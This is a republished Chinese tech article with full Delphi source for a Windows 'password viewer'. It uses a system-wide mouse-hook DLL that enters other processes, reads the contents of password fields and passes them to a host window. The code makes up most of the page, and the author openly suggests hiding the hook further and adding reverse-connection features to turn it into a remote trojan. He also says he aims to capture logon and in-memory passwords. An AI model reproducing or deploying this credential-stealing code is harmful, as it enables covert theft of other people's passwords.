科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航



ZDNet>软件频道>中间件-zhiding>Windows文本框星号密码查看器

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

注册一个系统级鼠标挂钩,通过监测系统鼠标所在Windows窗口来获取密码,成功获取密码之后,通过发送自定义的Windows系统消息,到宿主程序。

来源:CSDN 2008年02月26日

关键字:Windows java 密码查看器

1、  设计原理:注册一个系统级鼠标挂钩,通过监测系统鼠标所在Windows窗口来获取密码,成功获取密码之后,通过发送自定义的Windows系统消息,到宿主程序。

2、  Hook动态链接库设计原理:采用Windows Hook技术[鼠标挂钩],切入远程进程内部,并监测当前系统鼠标所在位置的当然窗口句柄(通过Windows APIWindowFromPoint()),获取窗口句柄之后,判断当然窗口是否为文本框,并进一步判断是否为密码框,当发现是密码输入框时,当此窗口发送WM_GETTEXT消息,获取密码。成功获取密码之后,发现自定义的WM_COPYDATA消息到宿主程序;

具体实现步骤简介:

1.  设置系统鼠标挂钩:

        hkMouseHook := SetWindowsHookEx(WH_MOUSE,@CXX_MouseHookProc,hInstance,0);

2.  注销系统鼠标挂钩:

        UnHookWindowsHookEx(hkMouseHook);

3.  监测当然窗口及窗口风格判断:

        MousePos := pMhs.pt;

    wnd := WindowFromPoint(pmhs.pt);

    style := GetWindowLong(wnd,GWL_STYLE);

    if (style and ES_PASSWORD) = ES_PASSWORD then

    begin

            //发现密码窗口

    end;

4.  向密码框获取密码串:

        SendMessage(wnd,WM_GETTEXT,256,Integer(@MouseTitle[0]));

5.  发送自定义消息到宿主程序:

              GetMem(pmi,sizeof(TMouseInfo));

        pmi.MouseX := pt.X;

        pmi.MouseY := pt.Y;

        pmi.MouseTitle := pwd;

        GetMem(pcds,sizeof(TCopyDataStruct));

        pcds.dwData := 9910;

        pcds.cbData := sizeof(TMouseInfo);

        pcds.lpData := pmi;

        SendMessage(hDec,WM_COPYDATA,0,LPARAM(pcds));

3、  宿主程序设计原理:我的宿主程序是自己学习Windows SDK开发时作品,采用纯SDK实现。SDK的编程不用废话了吧。在这个工具程序中,只需要在系统消息处理方法中,增加一个对WM_COPYDATA的拦截及处理过程就可能了。

case uMsg of

    WM_COPYDATA:

    begin

        CXX_ReceiveCopyData(uMsg);

    end;

        ……

end;

4、  应用技术提点:这个是本人在2002年学习Microsoft Windows SDK编程技术时的学习作品。当然,有兴趣的话,你完全可以将其Hook进一步进行隐藏,并为其增加“端口反弹”或者“半连接”功能,宿主程序可以是自己的远程XXXXXX,哈哈,这样发布出来的话,想知道的东西就多了……

5、 完整源码代码:

1.  Hook鼠标挂钩部分:

{

     产品名称:     Windows 密码工具[Window98/NT/2000/XP]

     功能描述:     截取Windows密码编辑框中的密码串

                    采用纯粹的SDK开发

                    能捕捉windows98/NT/2000/XP的密码框中的""密码

     开发平台:     Windows2000 + Delphi6 + MSDN + SDK

     开发者:       成晓旭

     版权所有:     成晓旭

     模块设计者:   成晓旭

     设计思路:     采用Windows Hook技术[鼠标挂钩],切入远程进程内部,

                    再发送WM_GETTEXT消息截取密码,最后用SendMessage发送

                    WM_COPYDATA消息自定义的密码信息结构体到目标窗口,

                    显示或处理Hook DLL所截取的远程进程的密码.

     开始时间:     200234

     完成时间:     2002524[最终实现]

         注:     此工具是本人在2002年开发的第二个软件

                    本工具在20006月份左右曾实现过一个Windows98下的

                    密码截取工具,两年以来,我一直没有放弃过实现Windows

                    操作系统下的所有密码的截取,如此,终于实现了两年以来

                    未曾实现的截取WindowsNT系列的密码.[2002/05/24]

                    以后的路还很长:WindowNT系列的当前用户登录密码、

                    内存长驻的其它密码等等.

}

unit MouseHook;

interface

uses

    Messages,Windows;//,SysUtils;

var

    hkMouseHook:HHook;

    ProcSafelyExit:Pointer;

    uCXXMsg:UINT;

    procedure   DllEntryProc(ul_reason_for_call:DWORD);

    procedure   SetupHook(fSet:boolean);stdcall;export;

    function    CXX_MouseHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;

    procedure   AutoUnInstallHook();far;

implementation

uses DataStruct;

procedure CXX_SendCopyData(pt:TPoint;pwd:TMTitle);

var

    pcds:PCopyDataStruct;

    pmi:PMouseInfo;

    hDec:THandle;

begin

    hDec:=Findwindow(Nil,'WM_COPYDATA接收端');

    if hDec = 0 then

    begin

        MessageBox(0,'数据接收窗口没有找到,程序拒绝发送WM_COPYDATA消息!','提示',MB_OK or MB_ICONWARNING);

        Exit;

    end;

try

        GetMem(pmi,sizeof(TMouseInfo));

        pmi.MouseX := pt.X;

        pmi.MouseY := pt.Y;

        pmi.MouseTitle := pwd;

        GetMem(pcds,sizeof(TCopyDataStruct));

        pcds.dwData := 9910;

        pcds.cbData := sizeof(TMouseInfo);

        pcds.lpData := pmi;

        SendMessage(hDec,WM_COPYDATA,0,LPARAM(pcds));

        //PostMessage(hDec,WM_COPYDATA,Handle,LPARAM(pcds));

    finally

        FreeMem(pmi);

        FreeMem(pcds);

    end;

end;

function CXX_MouseHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;

var

    pMhs:PMOUSEHOOKSTRUCT;

    wnd:HWND;

    style:LongInt;

    MousePos:TPoint;

    MouseTitle:TMTitle;

begin

    if iCode = HC_ACTION then

    begin

        FillChar(MouseTitle,255,0);

        pMhs := PMOUSEHOOKSTRUCT(lParam);

        MousePos := pMhs.pt;

        wnd := WindowFromPoint(pmhs.pt);

        style := GetWindowLong(wnd,GWL_STYLE);

        if (style and ES_PASSWORD) = ES_PASSWORD then

        begin

            SendMessage(wnd,WM_GETTEXT,256,Integer(@MouseTitle[0]));

            //发送截取的信息[]

            CXX_SendCopyData(MousePos,MouseTitle);

        end;

    end;

    Result := CallNextHookEx(hkMouseHook,iCode,wParam,lParam);

end;

procedure SetupHook(fSet:boolean);stdcall;export;

begin

    if fSet then

    begin

        if hkMouseHook <> 0 then Exit;

            hkMouseHook := SetWindowsHookEx(WH_MOUSE,@CXX_MouseHookProc,hInstance,0);

        //if hkMouseHook <> 0 then

        //    MessageBox(0,'鼠标挂钩安装成功!!!','挂钩提示',MB_ICONINFORMATION or MB_OK)

        //else

        //    MessageBox(0,'鼠标挂钩安装失败!','挂钩提示',MB_ICONWARNING or MB_OK);

    end

    else

    begin

       if hkMouseHook <> 0 then

        begin

            UnHookWindowsHookEx(hkMouseHook);

            hkMouseHook := 0;

            //if hkMouseHook = 0 then

            //    MessageBox(0,'鼠标挂钩撤消成功!!!','挂钩提示',MB_ICONINFORMATION or MB_OK)

            //else

            //    MessageBox(0,'鼠标挂钩撤消失败!','挂钩提示',MB_ICONWARNING or MB_OK);

        end;

    end;

end;

 

procedure   DllEntryProc(ul_reason_for_call:DWORD);

begin

{

    if ul_reason_for_call = DLL_PROCESS_ATTACH then

    begin

        MessageBox(0,'DLL_PROCESS_ATTACH','MouseDll Hint',MB_OK or MB_ICONINFORMATION);

        //uCXXMsg := RegisterWindowMessage(SELF_MESSAGE_NAME);

 

    end

    else if ul_reason_for_call = DLL_PROCESS_DETACH then

    begin

        MessageBox(0,'DLL_PROCESS_DETACH','MouseDll Hint',MB_OK or MB_ICONINFORMATION);

    end;

    }

end;

 

procedure AutoUnInstallHook();

begin

     if hkMouseHook <> 0 then

          SetupHook(False);

     ExitProc := ProcSafelyExit;

end;

 

end.

2.  宿主程序部分:

此程序中,还有关于Windows程序资源加载以及窗口背景绘制等技术的演示。

{

     产品名称:     Windows 密码工具

     功能描述:     截取Windows密码编辑框中的密码串

                    采用纯粹的SDK开发

     开发平台:     Windows2000 + Delphi6 + MSDN + SDK

     开发者:       成晓旭

     版权所有:     成晓旭

     模块设计者:   成晓旭

     开始时间:     200234

     完成时间:     200234

     修改时间1    200234

         注:     此工具是本人在2002年开发的第二个软件,

}

 

program MouseExe;

uses

  Windows,

  SysUtils,

  Messages,

  Tie_In_MHook in 'Tie_In_MHook.pas',

  DataStruct in 'DataStruct.pas';

 

{$R MouseExe.res}

const

    CXX_WND_CLASS = 'DC_Password';   //主窗口类名

    CXX_WND_CAPTION = 'Window2000/XP 密码捕捉工具';

    CXX_PASSKEY = 'chenxiaoxu';

    MOUSE_MOVE_TIMER = WM_USER + 9910;

    SELF_MESSAGE_NAME = 'CXX_Test_Window_Message';

var

hWndMain,               //程序主窗口句柄

    hBtnCheck,               //程序发送按钮句柄

    hBtnClose,              //程序关闭按钮句柄

    hStcPos,               //鼠标位置提示

    hStcTitle,               //窗口标题提示

    hEdtPos,                //鼠标当前位置

    hEdtTitle:               //获取窗口标题

                LongWord;

    hInstMain:  integer;    //程序实例句柄

    hBGBmp :    HBITMAP;    //主窗口背景图片句柄

    hCur:       HICON;

    uCXXMsg:    UINT;

procedure CXX_SendCopyData();

var

    pcds:PCopyDataStruct;

    pmi:PMouseInfo;

    hDec:THandle;

begin

    hDec:=Findwindow(Nil,'WM_COPYDATA接收端');

    if hDec = 0 then

    begin

        MessageBox(hWndMain,'数据接收窗口没有找到,程序拒绝发送WM_COPYDATA消息!','提示',MB_OK or MB_ICONWARNING);

        Exit;

    end;

//try

        GetMem(pmi,sizeof(TMouseInfo));

        pmi.MouseX := 10;

        pmi.MouseY := 50;

        pmi.MouseTitle := 'chenxiaoxu';

        GetMem(pcds,sizeof(TCopyDataStruct));

        pcds.dwData := 9910;

        pcds.cbData := sizeof(TMouseInfo);

        pcds.lpData := pmi;

        SendMessage(hDec,WM_COPYDATA,hWndMain,LPARAM(pcds));

        //PostMessage(hDec,WM_COPYDATA,Handle,LPARAM(pcds));

    //finally

        FreeMem(pmi);

        FreeMem(pcds);

    //end;

end;

procedure CXX_ReceiveCopyData(Msg:TMessage);

var

    str:string;

begin

    str := IntToStr(PMouseInfo(PCOPYDATASTRUCT(Msg.LParam)^.lpData)^.MouseX);

    str := str + IntToStr(PMouseInfo(PCOPYDATASTRUCT(Msg.LParam)^.lpData)^.MouseY);

end;

//绘制窗口位图背景函数

function CXX_DrawBGBitmap(fdc:HDC;fBitmap:HBitmap):boolean;

var

    hdcMem:HDC;

    rect:TRect;

    bmp:Bitmap;

    x,y:integer;

begin

//    bmp := nil;

    Result := False;

    //主窗口背景图片尚未加载,不能绘制窗口背景

    if fBitmap = 0 then Exit;

    //获取绘图区域

    GetClientRect(hWndMain,rect);

    //创建兼容内存设备描述表

    hdcMem := CreateCompatibleDC(fdc);

    if hdcMem = 0 then Exit;

    //设置位图对象

    if (GetObject(fBitmap,sizeof(Bitmap),@bmp) = 0) then Exit;

    //设置内存设备描述表内容

    if NOT Boolean(SelectObject(hdcMem,fBitmap)) then Exit;

    //绘制窗口背景图片

    x := 0;

    while(x <= rect.Right-rect.Left) do

    begin

        y := 0;

        while(y <= rect.Bottom-rect.Top) do

        begin

            BitBlt(fdc,x,y,bmp.bmWidth,bmp.bmHeight,hdcMem,0,0,SRCCOPY);

            y := y + bmp.bmHeight;

        end;

        x := x + bmp.bmWidth;

    end;

    Result := DeleteDC(hdcMem);

end;

{

 function CXX_SetWinCaption():设置窗口对象标题函数

 参数定义:

     hWnd:   窗口对象句柄

     pchText:窗口对象标题

}

procedure CXX_SetWinCaption(hWnd:hWND;pchText:PChar);

begin

SendMessage(hWnd,WM_SETTEXT,0,Integer(pchText));

    //SetWindowText(hWnd,pchText);

end;

{

 function CXX_GetWinCaption():取得按钮标题函数

 参数定义:

     hWnd:   按钮句柄

     pchText:按钮标题

}

procedure CXX_GetWinCaption(hWnd:hWND;pchText:PChar);

begin

SendMessage(hWnd,WM_GETTEXT,255,Integer(pchText));

end;

 

procedure CXX_MouseMoveTimerProc(hWin:HWND;uMsg:UINT;idEvent:UINT;dwTime:DWORD);

begin

    //MessageBox(hWin,'系统时间','提示',0);

end;

 

function CXX_SetProgramTimer(fSetTimer:boolean):boolean;

begin

    Result := False;

    if fSetTimer then

    begin

        //if SetTimer(hWndMain,MOUSE_MOVE_TIMER,3000,@CXX_MouseMoveTimerProc) <> 0 then

        if SetTimer(hWndMain,MOUSE_MOVE_TIMER,100,nil) <> 0 then

            Result := True;

    end

    else

    begin

        if KillTimer(hWndMain,MOUSE_MOVE_TIMER) then

            Result := True;

    end;

end;

//主窗口消息回调函数

//function CXX_MainWindowProc(hWnd,uMsg,wParam,lParam:DWord):LRESULT;stdcall;

function CXX_MainWindowProc(hWnd:DWord;uMsg:TMessage;wParam,lParam:DWord):LRESULT;stdcall;

var

//    pchPassword:PCHAR;

    dc :HDC;

    ps:PAINTSTRUCT;

begin

{

    if uMsg = uCXXMsg then

    begin

        MessageBox(hWnd,'自定义消息来了!!!','Hint',0);

        MessageBox(hWnd,PChar(lParam),'消息内容',0);

    end;

    }

case uMsg of

    WM_COPYDATA:

    begin

        //MessageBox(hWndMain,'窗口接收WM_COPYDATA消息!','提示',MB_OK or MB_ICONWARNING);

        CXX_ReceiveCopyData(uMsg);

    end;

WM_CREATE:

    begin

        uCXXMsg := RegisterWindowMessage(SELF_MESSAGE_NAME);

    end;

    WM_RBUTTONDBLCLK:   //$0206

        PostQuitMessage(0);

    WM_COMMAND:         //$0111

    begin

        if lParam = hBtnClose  then

        begin

            if MessageBox(hWnd,PChar('确定要退出【'+CXX_WND_CAPTION+'】吗?'),'确认',MB_YESNO or MB_ICONQUESTION) = IDYES then

                PostQuitMessage(0);

        end

        else if lParam = hBtnCheck then

        begin

            //CXX_SetProgramTimer(True);

            //PostMessage(HWND_BROADCAST,uCXXMsg,0,0);

            //SetupHook(True);

            CXX_SendCopyData();

        end;

    end;

    WM_PAINT:

    begin

        dc := BeginPaint(hWnd,ps);

             if NOT CXX_DrawBGBitmap(dc,hBGBmp) then

            MessageBox(hWnd,'绘制主窗口背景失败呢!','提示',MB_OK or MB_ICONWARNING);

    end;

    WM_DESTROY:

    begin

         CXX_SetProgramTimer(false);

         Halt;   //$0002:

    end;

end;    //End of Case

    Result := DefWindowProc(hWnd,uMsg,wParam,lParam);

end;

 

//应用程序实例化

function CXX_InitInstance():boolean;

var

    wndClass:TWndClass;

begin

    hInstMain := hInstance;

    hCur := LoadCursor(hInstMain,'HANDLE');

    if hCur = 0 then

        MessageBox(hWndMain,'加载主窗口背景图片失败!!!','提示',MB_OK or MB_ICONWARNING)

    else

        SetCursor(hCur);

    hBGBmp := LoadBitmap(hInstMain,'BACKBMP');

if hBGBmp = 0 then

        MessageBox(hWndMain,'加载主窗口背景图片失败!!!','提示',MB_OK or MB_ICONWARNING);

    wndClass.cbClsExtra := 0;

    wndClass.cbWndExtra := 0;

    wndClass.hInstance := hInstMain;

    wndClass.hIcon := 0;

    wndClass.hCursor := LoadCursor(0,IDC_HAND);

    wndClass.hbrBackground := CTLCOLOR_EDIT;

    wndClass.lpfnWndProc := @CXX_MainWindowProc;

    wndClass.lpszClassName := CXX_WND_CLASS;

    wndClass.lpszMenuName := nil;

    wndClass.style := CS_DBLCLKS;

    Result := Boolean(RegisterClassA(wndClass));

end;

//主程序函数

procedure CXX_RunMainProgram();

var

    myMsg:TMsg;

begin

    if NOT CXX_InitInstance() then

        Exit;

    hWndMain := CreateWindowEx(WS_EX_CLIENTEDGE or WS_EX_TOPMOST,

                        CXX_WND_CLASS,CXX_WND_CAPTION,

                        WS_VISIBLE or WS_SYSMENU or WS_MINIMIZEBOX,

                        0,0,320,150,0,0,hInstMain,nil);

    hStcPos := CreateWindowEx(0,'static','鼠标位置:',

                        WS_VISIBLE OR WS_CHILD,

                        5,10,80,20,

                        hWndMain,0,hInstMain,nil);

    hEdtPos := CreateWindowEx(WS_EX_CLIENTEDGE,'Edit','',

                        WS_VISIBLE OR WS_CHILD,

                        100,10,200,20,

                        hWndMain,0,hInstMain,nil);

    hStcTitle := CreateWindowEx(0,'static','获取密码:',

                        WS_VISIBLE OR WS_CHILD,

                        5,50,80,20,

                        hWndMain,0,hInstMain,nil);

    hEdtTitle := CreateWindowEx(WS_EX_CLIENTEDGE,'Edit','',

                        WS_VISIBLE OR WS_CHILD,

                        100,50,200,20,

                        hWndMain,0,hInstMain,nil);

    hBtnCheck := CreateWindowEx(WS_EX_STATICEDGE or WS_EX_CLIENTEDGE,'Button','发送消息',

                        WS_VISIBLE OR WS_CHILD,

                        10,85,100,30,

                        hWndMain,0,hInstMain,nil);

    hBtnClose := CreateWindowEx(WS_EX_STATICEDGE or WS_EX_CLIENTEDGE,'Button','退出程序',

                        WS_VISIBLE OR WS_CHILD,

                        180,85,100,30,

                        hWndMain,0,hInstMain,nil);

    //主程序函数循环

    while(GetMessage(myMsg,hWndMain,0,0)) do

    begin

        TranslateMessage(myMsg);

        DispatchMessage(myMsg);

    end;

end;

 

begin

    CXX_RunMainProgram();

end.

推广二维码
邮件订阅

如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

重磅专题